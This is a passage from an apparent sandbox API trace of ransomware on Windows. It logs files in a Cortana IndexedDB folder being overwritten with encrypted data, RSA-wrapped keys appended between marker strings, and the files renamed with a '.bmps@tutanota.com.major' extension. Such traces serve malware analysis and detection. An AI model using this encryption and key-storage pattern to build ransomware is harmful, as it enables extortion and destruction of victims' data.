lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.557] CloseHandle (hObject=0x1868) returned 1 [0227.557] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\IndexedDB.edb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\indexeddb.edb"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\IndexedDB.edb.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\indexeddb.edb.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0227.562] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0227.562] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbtmp.log", dwFileAttributes=0x80) returned 1 [0227.563] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbtmp.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1868 [0227.564] GetFileSizeEx (in: hFile=0x1868, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=524288) returned 1 [0227.564] ReadFile (in: hFile=0x1868, lpBuffer=0x67f020, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x67f020*, lpNumberOfBytesRead=0x2e3f9b4*=0x80000, lpOverlapped=0x0) returned 1 [0227.569] SetFilePointer (in: hFile=0x1868, lDistanceToMove=-524288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0227.569] WriteFile (in: hFile=0x1868, lpBuffer=0x71b020*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x71b020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x80000, lpOverlapped=0x0) returned 1 [0227.571] SetFilePointer (in: hFile=0x1868, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x80000 [0227.571] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.571] WriteFile (in: hFile=0x1868, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.571] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0227.572] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0227.572] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0227.572] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="e7Ncq3lrq50C7SrhEfo+Zr/vqKbmvrm0oiUEBA+kASD0wE4oGtpB3O8LJpScJTI8\nuJ7hVDaFBgc9nMSMETXqMa+FHfwWHzcsEPvezMG+qcAdmOS68M2oT29fGiA1UxcI\nOnu8QIwME8HUnR2tmRn1Qp5XYJ4o6zZzSVOfThnAcfd7OvJBvGrZafk+IWleFPzn\nxrW2RN3Yg3izTVkY/4UTLDbERKuxfHyoFGXjwrRhrRVPMLjAbuoseoZNHqaKgj27\nuuDLP2P7W9QxQ/lsJZYByuUMtyyptNWvLuGofHdI7ytgaYTrgxMJAdFCTEijHzjY\nptjTLf/v1xsHX2h/U4VqFw==\n", pcchString=0x2e3f9a8) returned 1 [0227.572] WriteFile (in: hFile=0x1868, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0227.572] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.572] WriteFile (in: hFile=0x1868, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.572] CloseHandle (hObject=0x1868) returned 1 [0227.573] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbtmp.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edbtmp.log"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbtmp.log.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edbtmp.log.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0227.575] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0227.575] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbres00002.jrs", dwFileAttributes=0x80) returned 1 [0227.576] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbres00002.jrs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1868 [0227.577] GetFileSizeEx (in: hFile=0x1868, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=524288) returned 1 [0227.577] ReadFile (in: hFile=0x1868, lpBuffer=0x670020, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x670020*, lpNumberOfBytesRead=0x2e3f9b4*=0x80000, lpOverlapped=0x0) returned 1 [0227.586] SetFilePointer (in: hFile=0x1868, lDistanceToMove=-524288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0227.586] WriteFile (in: hFile=0x1868, lpBuffer=0x700020*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x700020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x80000, lpOverlapped=0x0) returned 1 [0227.588] SetFilePointer (in: hFile=0x1868, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x80000 [0227.588] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.588] WriteFile (in: hFile=0x1868, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.589] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0227.589] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0227.589] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0227.590] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Gyzny8xUAnLfnlIh1yDYwW56K+7rhxgxML8JA6zlpPstJlZoR8ImRj8ARbwKR53u\npG+//Qq1IbGV4jCBGG+SYYbxNlc8xU/9FtvzTXpCRmPaQguB357KSC79d8TT8zFD\n2EC+cjUTvyhz9GI7lPiPgeGur68edUxCohd2BCmrM6R4XaVF9FPNZpmTIxPbYpyv\nJ4SAin7jJeEKK/NN6/VlXBK1DtNnExdJf3Gyc6Fs0ZdyNxLV0azde5lIpzqgIK/a\niO+OnFKbtgEMoB39CopLGMcEj8GMe0a+StmMGaQVWnW37n5iRlWDjEvjQv64bOlC\nw8bvOGnQAaFd7lBkt9PerA==\n", pcchString=0x2e3f9a8) returned 1 [0227.590] WriteFile (in: hFile=0x1868, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0227.590] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.590] WriteFile (in: hFile=0x1868, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.590] CloseHandle (hObject=0x1868) returned 1 [0227.590] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbres00002.jrs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edbres00002.jrs"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbres00002.jrs.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edbres00002.jrs.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0227.592] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0227.592] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbres00001.jrs", dwFileAttributes=0x80) returned 1 [0227.593] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbres00001.jrs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1868 [0227.594] GetFileSizeEx (in: hFile=0x1868, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=524288) returned 1 [0227.594] ReadFile (in: hFile=0x1868, lpBuffer=0x677020, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x677020*, lpNumberOfBytesRead=0x2e3f9b4*=0x80000, lpOverlapped=0x0) returned 1 [0227.605] SetFilePointer (in: hFile=0x1868, lDistanceToMove=-524288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0227.605] WriteFile (in: hFile=0x1868, lpBuffer=0x70e020*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x70e020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x80000, lpOverlapped=0x0) returned 1 [0227.606] SetFilePointer (in: hFile=0x1868, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x80000 [0227.606] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.606] WriteFile (in: hFile=0x1868, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.607] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0227.607] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0227.607] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0227.608] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="kJWeKz947Ee+FqsiaBruEAlMj4vSD1lOu4QUu+arnniG077liNel2ydUNXWB6Hfp\nT7wXvrRUNQil4OBFbhmumeJD99ZS9Ue/FYcNfXms0xmmFGNbIhYciNg75iN2jZoI\nEyNyc8dpNlEbACxN5g/5Ezw7G/OOOotd8gaM4HaHm+4WTUxFyxma7Ml7auglJlLQ\n7l+rA0LncZOzCmt/DyHw41TUrwRsWexQtlqwXcaBjwxbx/nlt1UuVP615gF/cTLx\n1+W2vny5H18jX/scQHVqLqbynHpz1KV48xpFwjrsC7vOci67zNPYfCaH0X0kKUDR\n6y2uy6Nwgrh3maT7/PimNQ==\n", pcchString=0x2e3f9a8) returned 1 [0227.608] WriteFile (in: hFile=0x1868, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0227.608] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.608] WriteFile (in: hFile=0x1868, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.608] CloseHandle (hObject=0x1868) returned 1 [0227.608] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbres00001.jrs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edbres00001.jrs"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edbres00001.jrs.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edbres00001.jrs.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0227.610] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0227.610] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00009.log", dwFileAttributes=0x80) returned 1 [0227.611] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00009.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00009.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1868 [0227.612] GetFileSizeEx (in: hFile=0x1868, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=524288) returned 1 [0227.612] ReadFile (in: hFile=0x1868, lpBuffer=0x671020, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x671020*, lpNumberOfBytesRead=0x2e3f9b4*=0x80000, lpOverlapped=0x0) returned 1 [0227.618] SetFilePointer (in: hFile=0x1868, lDistanceToMove=-524288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0227.618] WriteFile (in: hFile=0x1868, lpBuffer=0x706020*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x706020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x80000, lpOverlapped=0x0) returned 1 [0227.620] SetFilePointer (in: hFile=0x1868, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x80000 [0227.620] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.620] WriteFile (in: hFile=0x1868, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.621] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0227.621] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0227.621] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0227.621] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="4X4ec1pSuvmdTCj5nkhGyDci9DtR5KQGqM/GaUN64N8iM0es9tmk3VphSZBDtInf\nIcAubvas8JhOSrn/ft4Vn+6GD9BmUBE5hvmIBTAhbWJ9GQOUgswpYMeV4ode0YeI\nlBCmQAQAFtGd1UPqqEHS5q6xS7rLjgdzXt+tXnJfl6XxqCB2ZD8LRpu9Rgw9MvVD\n8X/JswSYROFxI30VaFJ9+zpAYqW5CXOqGfftBoyOk82yzzbcxIeWsDLMTu+CgeId\noCdE0DlsZB7/blnJeiIhMmzldY9HMz0uhym5uz85BXgvSCI9YgCD73GTSTGBDBi/\nuTu8Yo4Wgufg92Ond90ECA==\n", pcchString=0x2e3f9a8) returned 1 [0227.621] WriteFile (in: hFile=0x1868, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0227.622] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.622] WriteFile (in: hFile=0x1868, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.622] CloseHandle (hObject=0x1868) returned 1 [0227.622] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00009.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00009.log"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00009.log.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00009.log.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0227.627] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0227.627] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00008.log", dwFileAttributes=0x80) returned 1 [0227.628] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00008.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00008.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1868 [0227.629] GetFileSizeEx (in: hFile=0x1868, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=524288) returned 1 [0227.629] ReadFile (in: hFile=0x1868, lpBuffer=0x670020, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x670020*, lpNumberOfBytesRead=0x2e3f9b4*=0x80000, lpOverlapped=0x0) returned 1 [0227.693] SetFilePointer (in: hFile=0x1868, lDistanceToMove=-524288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0227.693] WriteFile (in: hFile=0x1868, lpBuffer=0x702020*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x702020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x80000, lpOverlapped=0x0) returned 1 [0227.695] SetFilePointer (in: hFile=0x1868, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x80000 [0227.695] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.695] WriteFile (in: hFile=0x1868, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.697] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0227.697] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0227.697] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0227.697] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="qDjjzfRNHsoS2rrBVT12oS0du2el+SwLRbYfIeCzOqimTSC+ZS9eQx2cMByeSRSR\nWV2sdLKDyv7QGVU82bqvPm6Ys+FG7BcELxM+B3RKZUuRshcFz17iYadq7RngR0Bo\nMfdEIY5E0H/DFPVNoEhLSAuZGK0OZkVbLXHioEQmc6Wx0RjsuHv/kPF2skIh802T\nR3eFMKZKlbSdI8dkYnrC2I2UeGJwobyQjUoOQ0HdFCi7O6LevwaCuPR4GJH6EgoA\ns2zLeTD0uZKzktH+080LdAcZkFUlynNBxUZf8kwaCuH1/RiUwBdniatU8R1hmBs1\nsGtwvNb7aVwPgKX58Lalow==\n", pcchString=0x2e3f9a8) returned 1 [0227.697] WriteFile (in: hFile=0x1868, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0227.698] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.698] WriteFile (in: hFile=0x1868, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.698] CloseHandle (hObject=0x1868) returned 1 [0227.698] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00008.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00008.log"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00008.log.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00008.log.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0227.702] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0227.702] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00007.log", dwFileAttributes=0x80) returned 1 [0227.706] CreateFileW 